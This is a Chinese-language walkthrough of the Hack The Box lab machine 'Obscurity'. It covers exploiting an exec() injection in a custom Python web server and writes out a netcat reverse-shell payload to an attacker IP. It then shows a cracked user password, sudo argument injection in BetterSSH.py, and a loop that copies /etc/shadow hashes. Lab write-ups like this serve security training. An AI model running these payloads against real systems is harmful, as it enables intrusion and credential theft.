HTB-Obscurity

news2024/12/22 19:57:34

HTB-Obscurity

  • 信息收集
  • 8080端口
  • 立足
  • www-data -> robert
  • robert -> root
    • sudo 注入
    • hash捕获

在这里插入图片描述

信息收集

在这里插入图片描述

8080端口

在这里插入图片描述
”如果攻击者不知道你在使用什么软件,你就不会被黑客攻击!“,目标对web的指纹做了某些处理。
在这里插入图片描述

“‘SuperSecureServer.py’ in the secret development directory”,接下来我们试试寻找这个秘密开发目录在哪里。
在这里插入图片描述
因为网站做了处理,所以目录扫描没法获取更多信息。尝试对SuperSecureServer.py’进行FUZZ。很显然失败了。
在这里插入图片描述
现在收集已有的词汇信息做一个字典来试试。目前我们有的词汇:

dev
develop
development
devs
security
secure
secret

然后对表进行首字母大写、全大写做一个小字典。

在这里插入图片描述
在这里插入图片描述

查看网站源码。
在这里插入图片描述

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, 0client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

其中在serveDoc函数中有两句有注释的代码,并且还有exec函数。这意味着找到什么地方传进来的path,如果能控制path的值那这个exec函数就十分危险。

 info = "output = 'Document: {}'"	 # Keep the output for later debug
 exec(info.format(path))			 # This is how you do string formatting, right?

serveDoc接收一个path参数,再对path进行处理得到新的path。

path = urllib.parse.unquote(path)

urllib.parse会解析url地址。
在这里插入图片描述
urllib.parse.unquote会解析url编码过后的url地址。
在这里插入图片描述

handleRequest里面调用了serveDoc,跟进handleRequest函数看看。

def handleRequest(self, request, conn, address):
        if request.good:-
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

需要request.good为真才会有可能控制,为假就直接写入/errors/400.html了。跟进后发现listenToClient函数。

  def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)//处于一个无限循环中
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

跟进listenToClientclass Server

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept() #accept()接收客户端的请求并返回一个套接字给client,连接地址给address。
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()   

OK最后一步找到定义的位置。

class Request:
    def __init__(self, request):
        self.good = True 						#一来self.good为真
        try:
            request = self.parseRequest(request)       
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]    #对method、doc、vers、header、body进行获取,如果是正确的格式就不会让self.good改变。
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

OK让我们再来梳理一遍,我们想控制serveDoc函数里面的exec(info.format(path)),path就是我们的url地址;那么是谁调用了serveDoc,是handleRequest,在handleRequest函数中需要满足request.good为真才能完成调用;那么又是谁调用了handleRequest以及是谁在控制request.good,是listenToClient调用了handleRequest,并且通过Request类来控制request.good,所以我们只要保证数据该有啥有啥就行了。

现在来测试一下
info = “output = ‘Document: {}’” # Keep the output for later debug
exec(info.format(path))

在这里插入图片描述

经过不断地调整找到了注入代码。

在这里插入图片描述

立足

ping 测试成功。
在这里插入图片描述

rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%2010.10.14.31%204443%20>/tmp/f

在这里插入图片描述

www-data -> robert

在robertde家目录下有几个很有意思的文件。
在这里插入图片描述

check.txt
在这里插入图片描述
用我的key通过SuperSecureCrypt.py加密check.txt后会产生out.txt。
在这里插入图片描述

相当于check.txt + KEY -> SuperSecureCrypt.py= out.txt。我们都知道了其中三个,那这个key应该能很好推出来。
在这里插入图片描述
明文-钥匙的ASCII码小于255,因为我们明文中最大的字符是y,ASCII码是121。而key的ASCII码有三种可能,每一种都不会超过255,所以就相当于chr(ord(newChr) + ord(keyChr))
在这里插入图片描述
查看发现因为负数,chr无法处理。
在这里插入图片描述
加上绝对值

在这里插入图片描述
似乎这一长串就是key。

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

在这里插入图片描述

robert:SecThruObsFTW

在这里插入图片描述

robert -> root

sudo 注入

id有adm组,adm组允许访问/var/log日志文件,有时候可能会导致有些日志文件泄露敏感信息。
在这里插入图片描述

在这里插入图片描述
查看一下BetterSSH.py的权限呢。
在这里插入图片描述

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
#生成8位随机小写大写数字组合的字符串
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")
	#获取user和passW
    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    #获取拥有密码的用户并将用户密码给data,其中包括很多为空的信息。
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)
            #把data中空的信息过滤掉并附加到passwords中。

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    #对passwords的内容再次进行处理,每一个数据之间添加一个\n,。同一用户之间数据会有一个换行符相隔,不同用户数据会有多个换行符。
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
       	#在/tmp/SSH目录下创建一个以上面path生成的字符串为名的文档,并将处理好的内容写进去。
    time.sleep(.1)	#系统挂起0.1秒
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:] #如果p[0]和前面我们输入的user一致才能进入此句,密码哈希的盐和密码分开存储。
            break

    if salt == "":				#盐为空代表没密码,进行清理工作并退出。
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
        
    salt = '$6$'+salt+'$'		#重新修改hash类型,$6$为sha512crypt。
    realPass = salt + realPass	#重新组装密码hash

    hash = crypt.crypt(passW, salt)	#调用crypt对我们输入的密码用新盐进行加密。

    if hash == realPass:		#如果我们输入的密码通过加密后等于前面获取的/etc/shadows的hash则完成验证。
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")		#后面就是验证失败的处理方法
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))						#将command和sudo -u root command拼装一起。
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
                 

大致了解完脚本的工作方式后脑子里应该有一个初步的进攻模型了,先寻找我们能够控制的地方。

  • session[‘user’] = input("Enter username: ")中的user
  • passW = input("Enter password: ")中的passW

user第一次使用是在 if p[0] == session['user']:,第二次是在完成hash验证后使用。passW在 hash = crypt.crypt(passW, salt)中被使用。可能性最大的应该是user,passW就只被用来加密,而user可以被用来拼接输入的命令的cmd = ['sudo', '-u', session['user']]

运行程序看看。
在这里插入图片描述
发现没有/tmp/SSH文件。

在这里插入图片描述
创建好文件后并使用robert凭证验证。
在这里插入图片描述
来想想怎么注入sudo,最容易想到应该就是下图这样的吧。
在这里插入图片描述
要注入sudo的锁是 if p[0] == session['user']:看了一下python的文档,貌似没有像php弱等于的问题。是时候跳出兔子洞了。再次回头会发现有第三个输入点。就是command。

在这里插入图片描述
原本是sudo -u robert command,我们输入 id;sudo -u root id,来组成sudo -u robert id;sudo -u root id。
在这里插入图片描述

脚本不支持分号连接语句。
在这里插入图片描述
经过测试发现sudo -u kali id root可以使用root权限来执行id。

在这里插入图片描述
并且发现是按id后面的用户来执行对应权限。

在这里插入图片描述
但是这个有一个问题,只支持没有参数的命令,不然会把root当作扩展。
在这里插入图片描述
改成-u root id也能成功,但是在攻击机上无法完成。
在这里插入图片描述

在这里插入图片描述

hash捕获

当我们输入的密码没有通过验证后,就会将生成在/tmp/SSH的某个文件删除,那个文件存有重新处理过的/etc/shadow内容。
在这里插入图片描述

while true;do cat * /tmp/SSH >> /tmp/shadow;done

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/417492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【从零开始学Skynet】基础篇(六):MySql数据库安装操作

游戏服务端的另一项重要功能是保存玩家数据,Skynet提供了操作MySQL数据库、MongoDB数据库的模块。1、数据库安装 首先安装Mysql服务器,打开终端输入如下指令: sudo apt-get install mysql-server 按下回车,输入密码后开始安装&a…

秒杀架构(二) -- nginx实现限流

限流(Rate Limitting)是服务降级的一种方式,通过限制系统的输入和输出流量以达到保护系统的目的。比如我们的网站暴露在公网环境中,除了用户的正常访问,网络爬虫、恶意攻击或者大促等突发流量都可能都会对系统造成压力…

OpenCV按指定大小分割图像并保存详细讲解

这几天在忙着整理自己的数据集,使用工业级相机拍了好多高清照片,但是模型训练的时候需要使用512*512像素点大小的图像,而且我的模型设计的时候就已经规定好了训练样本大小。 那就分割呗,把拍的照片按512*512分割一小块一小块的&am…

easyx

普通的画线图什么的 首先我们需要安装一个easyx的图形库&#xff0c;然后把头文件搞出来 #include <stdio.h> #include <easyx.h>//easyx画线啥啥的图形库 #include <graphics.h> #include <math.h> #include <conio.h>//键盘操作的头文件 设…

2023年mathorcupD题航空安全风险分析和飞行技术评估思路分析

2023年mathorcupD题航空安全风险分析和飞行技术评估思路分析 飞行安全是民航运输业赖以生存和发展的基础。随着我国民航业的快 速发展&#xff0c;针对飞行安全问题的研究显得越来越重要。2022 年 3 月 21 日&#xff0c;“3.21” 空难的发生终结了中国民航安全飞行 1 亿零 59…

Android中级——性能优化

性能优化布局优化UI渲染机制避免Overdraw优化布局层级利用<include\>重用Layout使用<ViewStub\>实现View的延迟加载Hierarchy View内存优化获取内存信息ProfilerTraceViewMAT&#xff08;Memory Analyzer Tool&#xff09;dumpsys布局优化 UI渲染机制 画面流畅需…

透过Gartner最新报告,认识“超级边缘”

当下&#xff0c;酝酿能量的超级边缘。最近&#xff0c;我们在谈视频化狂飙、谈AIGC颠覆、谈算力动能不足&#xff0c;很少谈及边缘。但“边缘”恰恰与这一切相关&#xff0c;且越发密不可分&#xff0c;它是未来技术发展的极大影响因子。 “到2025年&#xff0c;超过70%的组织…

Segment Anything Model

论文翻译&#xff1a; 图1&#xff1a;我们旨在通过引入三个相互关联的组件来构建分割的基础模型&#xff1a;即时分割任务、支持数据注释并通过即时工程将零样本传输到一系列任务的分割模型&#xff08;SAM&#xff09;&#xff0c;以及用于收集SA-1B的数据引擎&#xff0c;SA…

MappingGenerator PRO 2023.3 Visual Studio 2019-2022

您的私人编码助手 MappingGenerator 最初是作为 AutoMapper 的设计时替代品创建的。现在它正在演变为编码助手&#xff0c;您可以将最平凡的编码任务委派给它&#xff1a; 生成映射生成显式转换实施克隆生成投影表达式脚手架方法调用脚手架对象创建清理方法调用方便ILogger的使…

探讨Hive是否转为MapReduce程序

目录 前提条件 数据准备 探讨HQL是否转为MapReduce程序执行 1.设置hive.fetch.task.conversionnone 2.设置hive.fetch.task.conversionminimal 3.设置hive.fetch.task.conversionmore 前提条件 Linux环境下安装好Hive&#xff0c;这里测试使用版本为&#xff1a;Hive2.3.…

【结构型模式】适配者模式

文章目录优秀借鉴1、简介2、结构3、实现方式3.1、案例引入3.2、类适配器3.3、对象适配器3.4、接口适配器4、区别对比5、适配者模式优缺点6、应用场景优秀借鉴 黑马程序员Java设计模式详解-适配器模式概述适配器设计模式&#xff08;封装器模式&#xff09;一文彻底弄懂适配器模…

页眉怎么添加【节】,设置不同章节不同页眉

文章目录前言添加【节】&#xff0c;设置不同内容总结前言 大家写文档或者论文的时候可能会需要&#xff1a;不同章节页眉展示不同的内容 然而&#xff0c;在双击页眉进行编辑的时候却发现几个章节的页眉一起被修改了&#xff1a; 会出现文章与页眉不同步的情况&#xff0c…

idea使用Junit

文章目录 idea使用JunitJunit配置常用注解常用于测试的断言方法后续idea使用Junit 对项目使用Junit主要有两个步骤: 添加Junit依赖,即添加Junit jar包使用JunitJunit配置 方法一:idea自带的快捷方法 对要测试的类的方法,在该类中,右键鼠标呼出菜单,选择Generate,快捷…

简单的回顾Linux

linux命令ls会显示出文件的颜色, 系统约定的默认颜色含义如下: 白色&#xff1a;表示普通文件 蓝色&#xff1a;表示目录 绿色&#xff1a;表示可执行文件 红色&#xff1a;表示压缩文件 浅蓝色&#xff1a;链接文件 主要是使用ln命令建立的文件 红色闪烁&#xff1a;表示链接的…

Java实现打印杨辉三角形,向左、右偏的平行四边形这三个图形代码程序

目录 前言 一、打印杨辉三角形 1.1运行流程&#xff08;思想&#xff09; 1.2代码段 1.3运行截图 二、向左偏的平行四边形 1.1运行流程&#xff08;思想&#xff09; 1.2代码段 1.3运行截图 三、向右偏的平行四边形 1.1运行流程&#xff08;思想&#xff09; 1.2代…

inplace-operation-error 【已解决】

最近在搞CT医学图像分割模型的领域泛化优化&#xff0c;结果就出现了报错&#xff1a; 关于这个问题stackoverflow上有非常多的讨论&#xff0c;可以过去围观&#xff1a; 指路&#xff1a;中文版stackoverflow - 堆栈内存溢出 (stackoom.com) Stack Overflow - Where Develo…

UNET-RKNN分割眼底血管

前言 最近找到一个比较好玩的Unet分割项目&#xff0c;Unet的出现就是为了在医学上进行分割(比如细胞或者血管)&#xff0c;这里进行眼底血管的分割&#xff0c;用的backbone是VGG16&#xff0c;结构如下如所示(项目里面的图片&#xff0c;借用的&#xff01;借用标记出处&…

C语言函数大全--h开头的函数

C语言函数大全 本篇介绍C语言函数大全–h开头的函数或宏 1. hypot&#xff0c;hypotf&#xff0c;hypotl 1.1 函数说明 函数声明函数功能double hypot(double x, double y);计算直角三角形的斜边长&#xff08;double&#xff09;float hypotf (float x, float y);计算直角…

UPA/URA双极化天线的协方差矩阵结构

文章目录UPA的阵列响应向量&#xff08;暂不考虑双极化天线&#xff09;UPA阵列响应&#xff1a;从单极化天线到双极化天线UPA双极化天线的协方差矩阵结构参考文献UPA的阵列响应向量&#xff08;暂不考虑双极化天线&#xff09; 下图形象描述了UPA阵列的接收信号 UPA阵列的水平…

【springcloud 微服务】Spring Cloud 微服务网关Gateway使用详解

目录 一、微服务网关简介 1.1 网关的作用 1.2 常用网关 1.2.1 传统网关 1.2.2 云原生网关 二、gateway网关介绍 2.1 问题起源 2.2 引发的问题 2.2.1 重复造轮子 2.2.2 调用低效 2.2.3 重构复杂 2.3 gateway改进 三、Spring Cloud Gateway 介绍 3.1 Gateway 概述 …